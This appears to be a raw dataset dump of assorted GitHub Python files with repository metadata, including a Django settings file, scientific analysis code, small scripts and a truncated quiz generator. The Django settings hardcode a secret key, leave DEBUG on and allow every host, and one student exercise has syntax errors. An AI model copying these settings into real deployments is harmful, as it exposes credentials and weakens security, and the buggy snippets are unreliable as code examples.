blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
69
license_type
stringclasses
2 values
repo_name
stringlengths
5
118
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
63
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
2.91k
686M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
213 values
src_encoding
stringclasses
30 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
2
10.3M
extension
stringclasses
246 values
content
stringlengths
2
10.3M
authors
listlengths
1
1
author_id
stringlengths
0
212
e56ce9c71bd9dc955427805035ddc283b94e8211
53fab060fa262e5d5026e0807d93c75fb81e67b9
/backup/user_267/ch85_2020_04_29_12_14_54_819750.py
1ab78a8ff779b99ecb2dcb2b151354b83bdb4f79
[]
no_license
gabriellaec/desoft-analise-exercicios
b77c6999424c5ce7e44086a12589a0ad43d6adca
01940ab0897aa6005764fc220b900e4d6161d36b
refs/heads/main
2023-01-31T17:19:42.050628
2020-12-16T05:21:31
2020-12-16T05:21:31
306,735,108
0
0
null
null
null
null
UTF-8
Python
false
false
307
py
with open('macacos-me-mordam.txt', 'r') as arquivo: conteudo = arquivo.read() lista = conteudo.split() contador = 0 for i in range(len(lista)): if lista[i] == 'banana' or lista[i] == 'Banana' or lista[i] == 'BaNaNa' lista[i] == 'BANANA' contador += 1 print(contador)
[ "you@example.com" ]
you@example.com
ce7a2a937ce01cf33f5c9586c6521a548bedf3b3
158a84b7419c494b077bf9a3820e46757258865b
/emojifier/settings.py
e1cd2d2a1844d3ad77d3c4f87891ac2ce46fc764
[ "MIT" ]
permissive
shivambhat45/Emojifier-Integrated-with-django
6ff2d549bd818c620c11004ac6def5007930ca95
8194227203feda7addbab09d45b51fd1c4a2b720
refs/heads/main
2023-05-09T08:26:31.741863
2021-05-30T09:29:24
2021-05-30T09:29:24
372,063,416
0
0
null
null
null
null
UTF-8
Python
false
false
3,238
py
""" Django settings for emojifier project. Generated by 'django-admin startproject' using Django 3.1.5. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ from pathlib import Path import os # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '=vj$y)$z6df%kp3v^h0c9y^!r4uxys)n8nnp%%^*8s02k&6pxe' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = ['*'] # Application definition INSTALLED_APPS = [ 'main', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'emojifier.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR,'templates')], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'emojifier.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', } } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = '/static/' STATICFILES_DIRS=( os.path.join(BASE_DIR,'static'), ) STATIC_ROOT=os.path.join(BASE_DIR,'staticfiles')
[ "shivambhat45@gmail.com" ]
shivambhat45@gmail.com
98bf26dea29031908a03ac901fb0cace10a7fff3
5472dfcdd14184c5d046be01d9c764973dfc4f50
/A4/latex-files/src/3.fetchBoilerpipeForMementos.py
a2db28d8db565b344777c8530dcb097e012c0363
[ "MIT" ]
permissive
r0hitl/cs851-s15
623a4b650593fd8a5687831ce638fd37743f21f5
29716c2935d73d5bd47065ee46d71c6d67391013
refs/heads/master
2021-01-15T18:40:29.569514
2015-05-03T07:42:20
2015-05-03T07:42:20
30,781,438
0
0
null
2015-02-13T23:55:19
2015-02-13T23:55:19
null
UTF-8
Python
false
false
3,192
py
import json import os from boilerpipe.extract import Extractor from nltk.util import ngrams import urllib2 INPUT_PATH = '3.selected-timemaps/' OUTPUT_PATH = 'mementos/' OUTPUT_FILE = 'mementoCount.txt' def removePunctuation(paragraph): paragraph = re.sub('[\",():;?\\[\\].{}#$&_*+=%!<>~0-9]', '', paragraph) return paragraph def normalizeString(paragraph): words = paragraph.split() normalizedWordList = [] for word in words: word = word.lower() word = word.strip() #word = removePunctuation(word); normalizedWordList.append(word) return normalizedWordList def getUniqueNgram(paragraph, n): nGrams = ngrams(normalizeString(paragraph), n) uniqueNGrams = set(nGrams) return uniqueNGrams def calculateJaccardDistance(a3Words, a4Words): union = set(a3Words).union(a4Words) intersect = set(a3Words).intersection(a4Words) jacDist = (len(union) - len(intersect)) * 1.0 / len(union) return jacDist def getNgrams(filePath): f = open(filePath, 'r') paragraph = f.read() f.close() uniGram = getUniqueNgram(paragraph, 1) return uniGram def saveBoilerpipeText(URL, mementoId, bPipeOpFilePath): extractor = Extractor(url=URL) extracted_text = extractor.getText() fil = open(bPipeOpFilePath, 'w') fil.write(extracted_text.encode('UTF-8')) fil.close() if not os.path.exists(OUTPUT_PATH): print 'Creating folder - ' + OUTPUT_PATH os.makedirs(OUTPUT_PATH) fileList = os.listdir(INPUT_PATH) #fileList = ['1201'] for fName in fileList: print 'processing for ' + fName iFile = open(INPUT_PATH + fName, 'r') jsonContent = iFile.read() if len(jsonContent) != 0: fContent = json.loads(jsonContent) #print fContent['mementos']['list'][0]['uri'] mementoURIs = fContent['mementos']['list'] BPIPE_OUTPUT_PATH = OUTPUT_PATH + fName + '/' if not os.path.exists(BPIPE_OUTPUT_PATH): os.makedirs(BPIPE_OUTPUT_PATH) oFile = open(BPIPE_OUTPUT_PATH + 'jacard-distance.txt', 'w') for i, URI in enumerate(mementoURIs): mementoId = i + 1 bPipeOpFilePath = BPIPE_OUTPUT_PATH + str(mementoId) try: print str(mementoId), '\t', URI['uri'] saveBoilerpipeText(URI['uri'], mementoId, bPipeOpFilePath) currentMementoWords = getNgrams(bPipeOpFilePath) if mementoId == 1: firstMementoWords = currentMementoWords if currentMementoWords != None: jacDist = calculateJaccardDistance(firstMementoWords, currentMementoWords) oFile.write('1\t' + str(mementoId) + '\t' + str(jacDist) + '\t' + URI['datetime'] + '\n') except urllib2.HTTPError: print 'HTTP Error' continue except: print 'Error' continue oFile.close() iFile.close()
[ "rlambi@cs.odu.edu" ]
rlambi@cs.odu.edu
f8bfdfb8b63786a8c027e69eb622f8272df8b0f4
c4a0d5574f02d8c8ee3a979304a0c1746e533dcb
/app/migrations/0001_initial.py
3f7952b629f4bf7e1e0a60616d3a191306a77417
[]
no_license
mmllyy/XinPianChang_project
3b7c8f329b1189b727b030b5034c55ca599f11de
9a8d568af22f8ae527e3ced2f1e8459d04cdb77d
refs/heads/master
2020-03-22T00:08:14.456244
2018-06-30T06:51:45
2018-06-30T06:51:45
139,226,351
0
0
null
null
null
null
UTF-8
Python
false
false
779
py
# Generated by Django 2.0.6 on 2018-06-26 13:24 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='User', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('userName', models.CharField(max_length=50)), ('userPasswd', models.CharField(max_length=32)), ('img', models.CharField(max_length=200)), ('state', models.BooleanField(default=True, verbose_name='用户状态')), ], options={ 'db_table': 'xpc_user', }, ), ]
[ "38482318+mmllyy@users.noreply.github.com" ]
38482318+mmllyy@users.noreply.github.com
850e1aaddc7ea61e606783d01bc7fc4a402846e1
cdd14180f7600918822a9357c88bbcb6651a398f
/mpas_analysis/sea_ice/climatology_map_sea_ice_thick.py
063e6b5dbceae188d8445dcad1d4c3f2afd20e9a
[ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ]
permissive
kevinrosa/MPAS-Analysis
43e0272ed05300ba71eb8a478cf6fcc18954e784
b2799099b49cc678734771fdc721bc8e81eb86a8
refs/heads/eke_plots
2020-03-20T10:30:50.446658
2018-07-26T21:54:46
2018-07-26T21:54:46
137,374,333
0
0
null
2018-07-09T21:39:12
2018-06-14T15:08:38
Python
UTF-8
Python
false
false
8,282
py
# Copyright (c) 2017, Los Alamos National Security, LLC (LANS) # and the University Corporation for Atmospheric Research (UCAR). # # Unless noted otherwise source code is licensed under the BSD license. # Additional copyright and license information can be found in the LICENSE file # distributed with this code, or at http://mpas-dev.github.com/license.html # from __future__ import absolute_import, division, print_function, \ unicode_literals import xarray as xr from mpas_analysis.shared import AnalysisTask from mpas_analysis.shared.climatology import RemapMpasClimatologySubtask, \ RemapObservedClimatologySubtask from mpas_analysis.sea_ice.plot_climatology_map_subtask import \ PlotClimatologyMapSubtask from mpas_analysis.shared.io.utility import build_config_full_path from mpas_analysis.shared.grid import LatLonGridDescriptor class ClimatologyMapSeaIceThick(AnalysisTask): # {{{ """ An analysis task for comparison of sea ice thickness against observations """ # Authors # ------- # Luke Van Roekel, Xylar Asay-Davis, Milena Veneziani def __init__(self, config, mpasClimatologyTask, hemisphere, refConfig=None): # {{{ """ Construct the analysis task. Parameters ---------- config : ``MpasAnalysisConfigParser`` Configuration options mpasClimatologyTask : ``MpasClimatologyTask`` The task that produced the climatology to be remapped and plotted hemisphere : {'NH', 'SH'} The hemisphere to plot refConfig : ``MpasAnalysisConfigParser``, optional Configuration options for a reference run (if any) """ # Authors # ------- # Xylar Asay-Davis taskName = 'climatologyMapSeaIceThick{}'.format(hemisphere) fieldName = 'seaIceThick' # call the constructor from the base class (AnalysisTask) super(ClimatologyMapSeaIceThick, self).__init__( config=config, taskName=taskName, componentName='seaIce', tags=['climatology', 'horizontalMap', fieldName, 'publicObs']) mpasFieldName = 'timeMonthly_avg_iceVolumeCell' iselValues = None sectionName = taskName if hemisphere == 'NH': hemisphereLong = 'Northern' else: hemisphereLong = 'Southern' # read in what seasons we want to plot seasons = config.getExpression(sectionName, 'seasons') if len(seasons) == 0: raise ValueError('config section {} does not contain valid list ' 'of seasons'.format(sectionName)) comparisonGridNames = config.getExpression(sectionName, 'comparisonGrids') if len(comparisonGridNames) == 0: raise ValueError('config section {} does not contain valid list ' 'of comparison grids'.format(sectionName)) # the variable self.mpasFieldName will be added to mpasClimatologyTask # along with the seasons. remapClimatologySubtask = RemapMpasClimatologySubtask( mpasClimatologyTask=mpasClimatologyTask, parentTask=self, climatologyName='{}{}'.format(fieldName, hemisphere), variableList=[mpasFieldName], comparisonGridNames=comparisonGridNames, seasons=seasons, iselValues=iselValues) if refConfig is None: refTitleLabel = 'Observations (ICESat)' galleryName = 'Observations: ICESat' diffTitleLabel = 'Model - Observations' refFieldName = 'seaIceThick' else: refRunName = refConfig.get('runs', 'mainRunName') galleryName = None refTitleLabel = 'Ref: {}'.format(refRunName) refFieldName = mpasFieldName diffTitleLabel = 'Main - Reference' remapObservationsSubtask = None for season in seasons: if refConfig is None: obsFileName = build_config_full_path( config=config, section='seaIceObservations', relativePathOption='thickness{}_{}'.format(hemisphere, season), relativePathSection=sectionName) remapObservationsSubtask = RemapObservedThickClimatology( parentTask=self, seasons=[season], fileName=obsFileName, outFilePrefix='{}{}_{}'.format(refFieldName, hemisphere, season), comparisonGridNames=comparisonGridNames, subtaskName='remapObservations{}'.format(season)) self.add_subtask(remapObservationsSubtask) for comparisonGridName in comparisonGridNames: imageDescription = \ '{} Climatology Map of {}-Hemisphere Sea-Ice ' \ 'Thickness.'.format(season, hemisphereLong) imageCaption = imageDescription galleryGroup = \ '{}-Hemisphere Sea-Ice Thickness'.format( hemisphereLong) # make a new subtask for this season and comparison grid subtask = PlotClimatologyMapSubtask( self, hemisphere, season, comparisonGridName, remapClimatologySubtask, remapObservationsSubtask, refConfig) subtask.set_plot_info( outFileLabel='icethick{}'.format(hemisphere), fieldNameInTitle='Sea ice thickness', mpasFieldName=mpasFieldName, refFieldName=refFieldName, refTitleLabel=refTitleLabel, diffTitleLabel=diffTitleLabel, unitsLabel=r'm', imageDescription=imageDescription, imageCaption=imageCaption, galleryGroup=galleryGroup, groupSubtitle=None, groupLink='{}_thick'.format(hemisphere.lower()), galleryName=galleryName, maskValue=0) self.add_subtask(subtask) # }}} # }}} class RemapObservedThickClimatology(RemapObservedClimatologySubtask): # {{{ """ A subtask for reading and remapping sea ice thickness observations """ # Authors # ------- # Xylar Asay-Davis def get_observation_descriptor(self, fileName): # {{{ ''' get a MeshDescriptor for the observation grid Parameters ---------- fileName : str observation file name describing the source grid Returns ------- obsDescriptor : ``MeshDescriptor`` The descriptor for the observation grid ''' # Authors # ------- # Xylar Asay-Davis # create a descriptor of the observation grid using the lat/lon # coordinates obsDescriptor = LatLonGridDescriptor.read(fileName=fileName, latVarName='t_lat', lonVarName='t_lon') return obsDescriptor # }}} def build_observational_dataset(self, fileName): # {{{ ''' read in the data sets for observations, and possibly rename some variables and dimensions Parameters ---------- fileName : str observation file name Returns ------- dsObs : ``xarray.Dataset`` The observational dataset ''' # Authors # ------- # Xylar Asay-Davis dsObs = xr.open_dataset(fileName) dsObs.rename({'HI': 'seaIceThick'}, inplace=True) return dsObs # }}} # }}} # vim: foldmethod=marker ai ts=4 sts=4 et sw=4 ft=python
[ "xylarstorm@gmail.com" ]
xylarstorm@gmail.com
dc338b94720902b803cdd21ce58507f59ae51d26
f20f7dac823855d837eb1a921f06a0ecdd7b3b99
/response_functions/get_time_response.py
8b4b7758869ea72ed8379264e86ddc53cab67cc8
[]
no_license
GustavoAngulo/cmu-dining-assistant
4eecfd904c854c89423f85a274d3c620eb5c4eab
f1926122678925287f403abb5cf7cdb5bdac8c25
refs/heads/master
2021-01-13T02:54:07.589269
2017-02-03T20:15:16
2017-02-03T20:15:16
77,093,975
0
0
null
null
null
null
UTF-8
Python
false
false
3,799
py
from datetime import date def get_time_response(req, CMU_dining_dict): result = req.get("result") parameters = result.get("parameters") location = parameters.get("location") location_status = parameters.get("location-status") ############## ## get date ## ############## # reqDate == "" or "YYYY-DD-MM" reqDate = parameters.get("date") date_responses = ["on Sunday.", "on Monday.", "on Tuesday.", "on Wednesday.", "on Thursday.", "on Friday.", "on Saturday."] # reqDate: 0 is Sunday, 1 Monday, ..., 6 Saturday if reqDate == "": reqDate = (date.today().weekday() + 1) % 7 speech_date = "today." else: reqDate = reqDate.split("-") reqDate = (date(int(reqDate[0]), int(reqDate[1]), int(reqDate[2])).weekday() + 1) % 7 speech_date = date_responses[reqDate] ############## ## get time ## ############## if location_status == "open": time = modify_time(*get_time(location, "start", reqDate, CMU_dining_dict)) elif location_status == "close": time = modify_time(*get_time(location, "end", reqDate, CMU_dining_dict)) else: time_start = modify_time(*get_time(location, "start", reqDate, CMU_dining_dict)) time_end = modify_time(*get_time(location, "end", reqDate, CMU_dining_dict)) ##################### ## return response ## ##################### if (location_status == "open" or location_status == "close") and time == None: message = (location + " is not open " + speech_date) elif location_status == "" and (time_start == None or time_end == None): message = (location + " is not open " + speech_date) else: if location_status == "open": message = (location + " opens at " + time + " " + speech_date) elif location_status == "close": message = (location + " closes at " + time + " " + speech_date) elif location_status == "": message = (location + " opens at " + time_start + " and closes at " + time_end + " " + speech_date) else: message = ("There was an error in retrieving the times for " + location + ".") return (message + " Is there anything else I can help with?") def get_time(location, status, date, CMU_dining_dict): # location # type: string # content: location name # # status # type: string # content: "start"/"end" # # date # type: int # content: 0 is Sunday, 1 Monday, ..., 6 Saturday info = CMU_dining_dict[location] for day in info["times"]: if day["start"]["day"] == date: return (day[status]["hour"], day[status]["min"]) else: # location is not open on day date return (None,None) def modify_time(hour, minute): # hour # type: int # content: hour time 0-23 # # minute # type: int # content: minute time 0-59 if hour == None and minute == None: return None # changing military time to standard time and returning it as a string if hour == 0: (hour, time_suffix) = ("12", "am") elif hour < 12: (hour, time_suffix) = (str(hour), "am") elif hour == 12: (hour, time_suffix) = (str(hour), "pm") else: (hour, time_suffix) = (str(hour - 12), "pm") # prevents 8:5 instead of 8:05 if minute < 10: minute = "0" + str(minute) else: minute = str(minute) return (hour + ":" + minute + " " + time_suffix)
[ "gangulo@andrew.cmu.edu" ]
gangulo@andrew.cmu.edu
ae8e57f12c53f000ecf4cd7f28a45489546661e1
76658996d34eb37505b1165a9c1a9d103e9f68e9
/Project/human-emotion-generation-with-gan-encoder/load_csv.py
1e1d2ddf1852c2ef6ae36bd15d8a2fae0964a4d2
[]
no_license
wewan/DD2424
9efe1d4abd7f11f209cda42c09a0cedbae990b3f
ea7f8aa43d71cb8717cafcd003d2cc7de62aad30
refs/heads/master
2020-03-18T04:53:46.872524
2018-10-16T13:42:38
2018-10-16T13:42:38
107,393,688
0
0
null
null
null
null
UTF-8
Python
false
false
623
py
import csv import numpy as np def load_csv(): L=35887 #length of data y_dim=7 labels=np.zeros(L) images_reshape=np.zeros((L,2304)) with open("./data/fer2013/fer2013.csv","rb") as csvfile: reader = csv.DictReader(csvfile) count=0 for row in reader: labels[count]=row['emotion'] images_reshape[count]=(row['pixels'].split()) count=count+1 X=images_reshape.reshape((L,48,48,1)).astype(np.float)/255.0 Y_=labels.astype(np.int) y_vec = np.zeros((len(Y_), y_dim), dtype=np.float) y_vec[np.arange(L), Y_] = 1.0 return X,y_vec
[ "wewang@kth.se" ]
wewang@kth.se
01ceda39e559358a92eb24f5146bd52812bbf8e2
aa743e124d5fc3fae7f16aa4e4760b670273089d
/serialInput.py
ac12e356255644f3feb4694096661e67560a5b6c
[]
no_license
ljdixon/fabio
6fa1ba2d5151b13bcb31cfa5189e1e91de84f96e
fb61d47f3f11a67f854bf5581fea166d9416e417
refs/heads/master
2022-06-30T22:51:08.767338
2020-05-12T19:16:36
2020-05-12T19:16:36
262,373,629
0
0
null
null
null
null
UTF-8
Python
false
false
479
py
import serial, string, time ser = serial.Serial('\\\\.\\CNCB0', 9600, 8, 'N', 1, timeout=3) fs = open('nellcor.txt', 'r') count = 0 while True: # Get next line from file line = fs.readline() # if line is empty # end of file is reached if line.strip() == "": continue elif not line: break count += 1 print("Line{}: {}".format(count, line.strip())) ser.write(bytes(line, 'ascii')) time.sleep(2) fs.close()
[ "ldixon@compunetix.com" ]
ldixon@compunetix.com
a065696021e76bedc5755d43faab10c00e47aff6
75c6be6b0bd8cf52b183092d497d3cd558fa866f
/main.py
0f33d8e9207d8e96b6b111717f45554db367cdce
[]
no_license
wuyanxin/gitbranch-d
f4baee37013826c3c96dfb259b272961e657ef22
7d1437cd72382b636c437f7760978299b4924ac0
refs/heads/master
2023-02-03T23:05:27.776577
2020-12-21T02:21:04
2020-12-21T02:26:40
323,207,174
0
0
null
null
null
null
UTF-8
Python
false
false
657
py
from programs import interative, except_master programList = [ interative.delete, except_master.delete, ] # programNo = input("\n 1. 交互式删除 \n 2. 只保留master \n 3. 输入保留分支,其它都删除 \n 请输入编号选择(默认0):") programNo = input("\n 1. interative delete (recommanded) \n 2. keep master, delete others \n input number for chosing program (default 1): ") if programNo == '': programNo = 0 else: try: programNo = int(programNo) except Exception: print("illegal input") exit() if programNo > len(programList): print("illegal input") exit() program = programList[programNo] program()
[ "wyx.ethan@gmail.com" ]
wyx.ethan@gmail.com
bfb17d35888656bd42a1319500ff40815aed2e4e
3218dcf8fb0796394f82e81f258e7c0e8280bdd4
/block/admin.py
a7f998ab5627586365b07ad9c337d07d085ea6e1
[]
no_license
Ansagan-Kabdolla/New_visit
8f9afaa84a2cef68c00456389efceccb525180a2
fae95abf0bc24588a11cc087b9313b9828101560
refs/heads/master
2022-11-25T12:02:16.128112
2020-07-21T08:26:08
2020-07-21T08:26:08
281,340,122
0
0
null
null
null
null
UTF-8
Python
false
false
169
py
from django.contrib import admin from .models import Zakaz @admin.register(Zakaz) class ZakazAdmin(admin.ModelAdmin): list_display = ('name','organization','date')
[ "ansagankabdolla4@gmail.com" ]
ansagankabdolla4@gmail.com
65ed37ceef3043ad22a98d2e443a593540968d79
adc3d3a91012e6f7e6fdde346108fb75dec70c66
/mark/migrations/0001_initial.py
a7bb1beab324e5c586be6a084c4438a00c821e30
[]
no_license
ynggny/ei
1eeb0b53df30238d0fe316620d007fca60c29f8a
4a9d222e7621fbd29c02f6d3e2a7cf65d821c147
refs/heads/master
2020-05-24T06:43:00.319761
2019-05-20T10:16:26
2019-05-20T10:16:26
187,144,566
0
0
null
null
null
null
UTF-8
Python
false
false
644
py
# Generated by Django 2.2 on 2019-05-13 02:23 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Stu', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=200, verbose_name='名前')), ], options={ 'verbose_name': 'アイテム', 'verbose_name_plural': 'アイテム', }, ), ]
[ "yudai1151judo@ryuuyuudai-no-MacBook-Air.local" ]
yudai1151judo@ryuuyuudai-no-MacBook-Air.local
a74bc85180ea2a3bfd589b48c649c92b1ee80199
f985153c6c41db10270601a58d7d062010792b4c
/Character.py
91db5277e93a8b6a2660ad3b8ce3f707b84283e1
[]
no_license
Zebra385/P3_JeuMcGyver
dd67d4056d82c9cd13d2e7c39c84c6556720c194
10c27e76704ec387090dcac8149e485e793d7bed
refs/heads/master
2020-09-05T01:15:45.631476
2019-11-23T10:33:00
2019-11-23T10:33:00
219,942,308
0
0
null
null
null
null
UTF-8
Python
false
false
2,139
py
""" Create a class Character with attribute a position: x_position for index of line and y_position for index of column """ class Character: def __init__(self, character, x_position, y_position): self.character = character self.x_position = x_position self.y_position = y_position """ Create class McGyver those are a children-class Character with special character = m """ class McGyver(Character): def __init__(self, x_position, y_position): Character.__init__(self, "m", x_position, y_position) # A list to stock the object (item) that Mc Gyver take self.inventury = [] """ Method move to move m like My Gyver with keyboard z to up, s: down, q : left and d : right """ def move(self): keyboard = input("Tell me how you want move" " Mc Gyver; the key z to " "up, s: down, q : left " "and d : right ") if keyboard == 'z': # if key 'z' is pressed self.x_position -= 1 return self.x_position, self.y_position elif keyboard == 's': self.x_position += 1 return self.x_position, self.y_position if keyboard == 'q': self.y_position -= 1 return self.x_position, self.y_position elif keyboard == 'd': self.y_position += 1 return self.x_position, self.y_position # if an other key : make nothing and write a message else: print("!!!!!!This key of keyboard is forbiden!!!!!!!!") return self.x_position, self.y_position """ Methode to know the position """ def position(self): return self.x_position, self.y_position """ Method to set position """ def set_position(self, x, y): self.x_position = x self.y_position = y """ Create class Guard those are a children-class Character with special character = g """ class Guard(Character): def __init__(self, x_position, y_position,): Character.__init__(self, "g", x_position, y_position)
[ "houcheserge@gmail.com" ]
houcheserge@gmail.com
3475e4ec6fd3df25b207dd2cb8b7ab2305e435c1
6d39d9724fe7ca1696d8096b7fb751de01cc4883
/inference.py
78521d23e3206b4a444738a41b12e0b037e162ff
[]
no_license
achillesheel02/ksl-repo
687d834ba209b6a46b44c920c45dfa04465cd91a
f4a00f568a3e02bb3527124daee1b0b7076333e1
refs/heads/master
2022-12-10T05:01:48.711087
2020-08-24T16:48:49
2020-08-24T16:48:49
287,957,500
0
0
null
null
null
null
UTF-8
Python
false
false
2,003
py
import numpy as np import glob import utils from keras.models import load_model from collections import deque import cv2 from tqdm import tqdm import ffmpeg TEST_VIDEO_PATH = 'test_videos/' test_videos_paths = glob.glob(TEST_VIDEO_PATH + '*.mov') MODEL_PATH = 'models/model.h5' model = load_model(MODEL_PATH) classes = utils.generate_labels().classes_ SEQ_LENGTH = utils.get_sequence_length() for path in test_videos_paths: print('Processing...') data = utils.convert_to_csv(path) filename = path.split('/')[-1].split('.')[0] target_video = TEST_VIDEO_PATH + filename + '_annotated.mp4' cap = cv2.VideoCapture(target_video) frame_width = int(cap.get(3)) frame_height = int(cap.get(4)) out = cv2.VideoWriter(TEST_VIDEO_PATH + filename + '.avi', cv2.VideoWriter_fourcc('M', 'J', 'P', 'G'), 30, (frame_width, frame_height)) counter = 0 frames = deque(maxlen=SEQ_LENGTH) frame_length = data.shape[0] while counter < frame_length: ret, frame = cap.read() font = cv2.FONT_HERSHEY_SIMPLEX frames.append(data[counter, :]) counter += 1 outputs = [] output_name = '' if len(frames) is SEQ_LENGTH: input_data = np.array(frames) input_data = input_data[np.newaxis, np.newaxis, ...] output = model.predict(input_data) output_name = classes[np.argmax(output)] output_value = output[0][np.argmax(output)] print( output_name , output_value) if output_value > 0.85: outputs.append([output_name, output_value]) cv2.putText(frame, 'Prediction: ' + output_name, (50, 50), font, 1, (0, 255, 255), 1, cv2.LINE_4) out.write(frame) out.release() ffmpeg.input(TEST_VIDEO_PATH + filename + '.avi').output(TEST_VIDEO_PATH + filename + '_compressed.mp4').run() cap.release() cv2.destroyAllWindows() print('Video saved\n\n')
[ "bachillah@gmail.com" ]
bachillah@gmail.com
6e14502757b800020040de7b5767e50940006584
5644f2e0d8ca8f4394ef5368cc5ef2830a8a9c8c
/auctions/urls.py
e89799a09a2a6b1f2d7b2941e2220e7f029d1541
[]
no_license
Mebar-prog/online-bidding-system
684f9d1cb679569a23f08e0114f5c7cbc358d9e8
736e7b3b9c1b9781e910e975445c360172441148
refs/heads/master
2023-09-05T22:47:22.464316
2021-11-19T13:40:04
2021-11-19T13:40:04
429,808,234
0
0
null
null
null
null
UTF-8
Python
false
false
1,157
py
from django.urls import path from . import views app_name = "auctions" urlpatterns = [ path("", views.index, name="index"), path("login/", views.login_view, name="login"), path("logout/", views.logout_view, name="logout"), path("register/", views.register, name="register"), path("cards/", views.cards_view, name="cards"), path("add/", views.add, name="add"), path("add_comment/", views.add_comment, name="add_comment"), path("listing_details/", views.listing_details_view, name="listing_details"), path("watchlist/", views.watchlist_view, name="watchlist"), path("category_list/", views.category_list, name="category_list"), path("category_list/<str:category>", views.category_list_redirect, name="category_list_redirect"), path("add_to_watchlist/", views.add_to_watchlist, name="add_to_watchlist"), path("place_bid/", views.place_bid, name="place_bid"), path("end_listing/", views.end_listing, name="end_listing"), path("auctions_history/", views.auctions_history, name="auctions_history"), path("delete_item_watchlist/", views.delete_item_watchlist, name="delete_item_watchlist") ]
[ "sherabwangchuk@Sherabs-MacBook-Air.local" ]
sherabwangchuk@Sherabs-MacBook-Air.local
619bd9403b8527dc7aa9af1d1db0c477eb2b5103
68cdbb632cb4ad1798efb68b324b39ef2665c5ea
/scripts/makeQ2.py
2ac00bfff915794553bb0c82d6730b2613e5e366
[ "MIT" ]
permissive
Zwerd/oldzwerd.github.io
c376bfeaabf0e2f127fef2599f2b44063e386d6e
f7f4e06f6bb5a2bbc7cc67b35f05798d3b040f46
refs/heads/master
2021-09-14T12:04:49.073216
2018-05-13T09:50:48
2018-05-13T09:50:48
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,976
py
from shutil import copyfile import shutil shutil.copy('../_posts/2018-04-23-javascript-tutorial.md', './jsPost.md') jsOldPost = open('./jsPost.md','r') count = len(jsOldPost.readlines()) jsOldPost.close() jsNewPost = open('./jsNewPost.md', 'w') jsOldPost = open('./jsPost.md', 'r') for i in range(count): jsNewPost.write(jsOldPost.readline()) if i == count-6: jsOldPost.close() break loopNum = int(raw_input("How much questions you want to write?: ")) string = '' script = open('./quiz.js', 'w') for a in range(1, loopNum+1): questionNum = int(raw_input("How much questions do you have so far?: ")) questionLine = str(raw_input("please type the question line: ")).replace('<', '&lt;').replace('>', '&gt;') string += '<p class = "questions">'+str(questionNum+a)+'.'+questionLine +'</p>\n' for i in range(1,5): answer = str(raw_input("please type answer number " + str(i) + ": ")).replace('<', '&lt;').replace('>', '&gt;') correct = int(raw_input("is it the correct answer (1 for yes, 0 for no)?: ")) string += '<input type="radio" id="mc" name="q'+str(questionNum+1)+'" value="'+str(correct)+'">' + answer +'<br>\n' ##for my js script jsCount = loopNum + questionNum jsString = '' jsString += 'function check(){var answer = document.getElementById("answer");\nvar correct = 0\n' for i in range(1,jsCount+1): jsString += 'var q' + str(i) +'= document.quiz.q'+str(i)+'.value;\n' jsString += "if(q"+str(i)+"== '1'){correct++};\n" jsString += "answer.innerHTML='Your scor is: '+correct*100/" + str(jsCount)+";\n" string += "\n\n\n\n" + "<script>\n"+jsString+"\n</script>" string += "\n\n\n\n<br>\n" string += '<input id = "button" type = "button" value = "End The Exam!" style="font-size:20px" onclick = "check();">\n' string += 